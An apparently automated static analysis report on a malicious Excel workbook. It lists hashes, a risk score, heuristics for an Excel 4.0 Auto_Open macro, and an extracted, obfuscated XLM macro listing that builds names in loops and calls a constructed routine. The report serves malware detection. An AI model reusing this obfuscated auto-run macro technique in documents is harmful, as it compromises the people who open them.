Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c1d6addc69283532…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:46:18 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 645224eca9b9f8305f6e06130530d517 SHA-1: 281b97c75717e54c9aab41a8d52205b4b2df557c SHA-256: c1d6addc692835321d57e49d721b314d94632dfb13ee0c907d13962950580bce
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6698 bytes
SHA-256: d985eaacf4c42ad5d530202763e383c907a29e9e67eb8db06ecbc3f5b33e87b7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bIkEG
' 0018     22 LABEL : Cell Value, String Constant - aTTwUvl len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E194 
' 0018     22 LABEL : Cell Value, String Constant - CdykDFd len=0 
' 0018     24 LABEL : Cell Value, String Constant - dBPvyXKAX len=0 
' 0018     22 LABEL : Cell Value, String Constant - DJtqQza len=0 
' 0018     25 LABEL : Cell Value, String Constant - dMTqCqJnIW len=0 
' 0018     20 LABEL : Cell Value, String Constant - Flfgg len=0 
' 0018     22 LABEL : Cell Value, String Constant - fUAgxUD len=0 
' 0018     23 LABEL : Cell Value, String Constant - hiKHHjja len=0 
' 0018     24 LABEL : Cell Value, String Constant - hKlWpFCVc len=0 
' 0018     26 LABEL : Cell Value, String Constant - IswtsAlnvfC len=0 
' 0018     26 LABEL : Cell Value, String Constant - lpspLJzUilZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - MsjocvT len=0 
' 0018     22 LABEL : Cell Value, String Constant - nCgEiXT len=0 
' 0018     23 LABEL : Cell Value, String Constant - nQikQFYa len=0 
' 0018     27 LABEL : Cell Value, String Constant - okRVJGHDHwbm len=0 
' 0018     22 LABEL : Cell Value, String Constant - qvkGmkl len=0 
' 0018     22 LABEL : Cell Value, String Constant - sRtGYgp len=0 
' 0018     23 LABEL : Cell Value, String Constant - TzsjHhjo len=0 
' 0018     24 LABEL : Cell Value, String Constant - wRfBNRSjA len=0 
' 0018     26 LABEL : Cell Value, String Constant - XwERvEQtWmi len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bIkEG,T82,"",-346.00000000000000000000
'  bIkEG,T83,"",-691.00000000000000000000
'  bIkEG,T84,"",-350.00000000000000000000
'  bIkEG,T85,"",511.00000000000000000000
'  bIkEG,T86,"",368.00000000000000000000
'  bIkEG,T87,"",314.00000000000000000000
'  bIkEG,E102,"SET.NAME("TzsjHhjo",0+VALUE("0"))",""
'  bIkEG,E105,"SET.NAME("CdykDFd",TzsjHhjo)",""
'  bIkEG,E107,"SET.NAME("IswtsAlnvfC",TzsjHhjo)",""
'  bIkEG,E111,"SET.NAME("hiKHHjja",COUNTA(XwERvEQtWmi))",""
'  bIkEG,E113,"SET.NAME("dMTqCqJnIW",COUNTA(hKlWpFCVc))",""
'  bIkEG,E117,[],""
'  bIkEG,E121,"SET.NAME("lpspLJzUilZ","")",""
'  bIkEG,E124,"CdykDFd",""
'  bIkEG,E129,"SET.NAME("sRtGYgp",HLOOKUP("*",XwERvEQtWmi,CdykDFd,FALSE))",""
'  bIkEG,E133,"MsjocvT",""
'  bIkEG,E136,"SET.NAME("okRVJGHDHwbm",TzsjHhjo)",""
'  bIkEG,E139,[],""
'  bIkEG,E144,"okRVJGHDHwbm",""
'  bIkEG,E148,"wRfBNRSjA",""
'  bIkEG,E153,"qvkGmkl",""
'  bIkEG,E155,"nCgEiXT",""
'  bIkEG,E159,"SET.NAME("dBPvyXKAX",VALUE(HLOOKUP("*",hKlWpFCVc,nCgEiXT,FALSE)))",""
'  bIkEG,E164,"DJtqQza",""
'  bIkEG,E167,"lpspLJzUilZ",""
'  bIkEG,E171,"IswtsAlnvfC",""
'  bIkEG,E176,NEXT(),""
'  bIkEG,E180,"nQikQFYa",""
'  bIkEG,E182,[],""
'  bIkEG,E186,"fUAgxUD",""
'  bIkEG,E188,NEXT(),""
'  bIkEG,E192,RETURN(),""
'  bIkEG,E219,"SET.NAME("aTTwUvl",E102)",""
'  bIkEG,E223,"XwERvEQtWmi",""
'  bIkEG,E228,"SET.NAME("hKlWpFCVc",R40C11)",""
'  bIkEG,E232,"SET.NAME("fUAgxUD",241)",""
'  bIkEG,E235,"SET.NAME("Flfgg",5)",""
'  bIkEG,E240,aTTwUvl(),""
'  bIkEG,E241,HALT(),""

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